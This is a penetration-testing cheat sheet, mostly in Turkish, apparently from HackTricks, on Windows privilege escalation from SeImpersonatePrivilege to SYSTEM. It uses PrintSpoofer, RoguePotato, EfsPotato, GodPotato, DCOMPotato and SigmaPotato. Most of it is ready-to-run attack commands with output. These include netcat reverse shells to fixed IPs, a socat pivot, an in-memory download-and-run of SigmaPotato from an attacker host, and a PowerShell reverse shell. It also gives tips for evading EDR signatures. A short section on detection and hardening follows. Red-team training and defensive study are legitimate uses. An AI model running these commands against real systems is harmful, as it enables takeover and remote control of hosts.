RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Reading time: 8 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

warning

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. However, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** can be used to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.

tip

2024–2025'te sıkça güncellenen modern bir alternatif, bellek/içinde .NET reflection kullanımı ve genişletilmiş OS desteği ekleyen GodPotato'nın bir fork'u olan SigmaPotato'dur. Aşağıda hızlı kullanım örneğine ve References bölümündeki repoya bakın.

Related pages for background and manual techniques:

SeImpersonate from High To System

From High Integrity to SYSTEM with Name Pipes

Abusing Tokens

Gereksinimler ve sık karşılaşılan tuzaklar

Aşağıdaki tüm teknikler, SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege ayrıcalıklarından birine sahip bir bağlamdan impersonation-yapabilen ayrıcalıklı bir servisin kötüye kullanımına dayanır:

  • SeImpersonatePrivilege (en yaygın) veya SeAssignPrimaryTokenPrivilege
  • Token zaten SeImpersonatePrivilege içeriyorsa yüksek bütünlük gerekmez (IIS AppPool, MSSQL gibi birçok servis hesabı için tipiktir).

Yetkileri hızlıca kontrol edin:

cmd
whoami /priv | findstr /i impersonate

Operasyonel notlar:

  • If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the account’s default privileges using FullPowers, then run a Potato. Example: FullPowers.exe -c "cmd /c whoami /priv" -z
  • PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
  • RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
  • EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
  • Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.

Hızlı Demo

PrintSpoofer

bash
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

Notlar:

  • -i kullanarak mevcut konsolda etkileşimli bir işlem başlatabilirsiniz veya -c ile tek satırlık bir komut çalıştırabilirsiniz.
  • Spooler service gerektirir. Devre dışıysa, bu başarısız olur.

RoguePotato

bash
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

Eğer outbound 135 engellenmişse, redirector'ınızda socat aracılığıyla OXID resolver üzerinde pivot yapın:

bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999

SharpEfsPotato

bash
> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

EfsPotato

bash
> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

nt authority\system

İpucu: Eğer bir pipe başarısız olursa veya EDR bunu engellerse, diğer supported pipes'i deneyin:

text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)

GodPotato

bash
> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

Notlar:

  • SeImpersonatePrivilege mevcut olduğunda Windows 8/8.1–11 ve Server 2012–2022 genelinde çalışır.

DCOMPotato

image

DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan servis DCOM nesnelerini hedefleyen iki varyant sunar. Sağlanan binaries'leri oluşturun veya kullanın ve komutunuzu çalıştırın:

cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"

# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"

SigmaPotato (güncellenmiş GodPotato fork)

SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell reverse shell yardımcı aracı gibi modern özellikler ekler.

powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
[SigmaPotato]::Main("cmd /c whoami")

# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))

Tespit ve sertleştirme notları

  • Named pipe oluşturan süreçleri ve hemen ardından token-duplication API çağrıları ile CreateProcessAsUser/CreateProcessWithTokenW çağıran işlemleri izleyin. Sysmon yararlı telemetri sağlayabilir: Event ID 1 (process creation), 17/18 (named pipe created/connected) ve SYSTEM olarak çocuk süreçler başlatan komut satırları.
  • Spooler sertleştirmesi: Gerekmeyen sunucularda Print Spooler hizmetini devre dışı bırakmak, spoolss üzerinden PrintSpoofer-style yerel zorlamaları engeller.
  • Service account sertleştirmesi: Özel servislere SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını mümkün olduğunca azaltın. Servisleri gerektirdiği en düşük ayrıcalıklarla virtual account altında çalıştırmayı ve mümkünse service SID ve write-restricted token’larla izole etmeyi düşünün.
  • Ağ kontrolleri: Outbound TCP/135’i engellemek veya RPC endpoint mapper trafiğini kısıtlamak, dahili bir yönlendirici (redirector) yoksa RoguePotato’yu bozabilir.
  • EDR/AV: Bu araçların çoğu yaygın imza tabanlı tespitlere sahiptir. Kaynaktan yeniden derleme, sembol/string isimlerini değiştirme veya bellek içi çalıştırma tespiti azaltabilir ama sağlam davranışsal tespitleri aşmaz.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin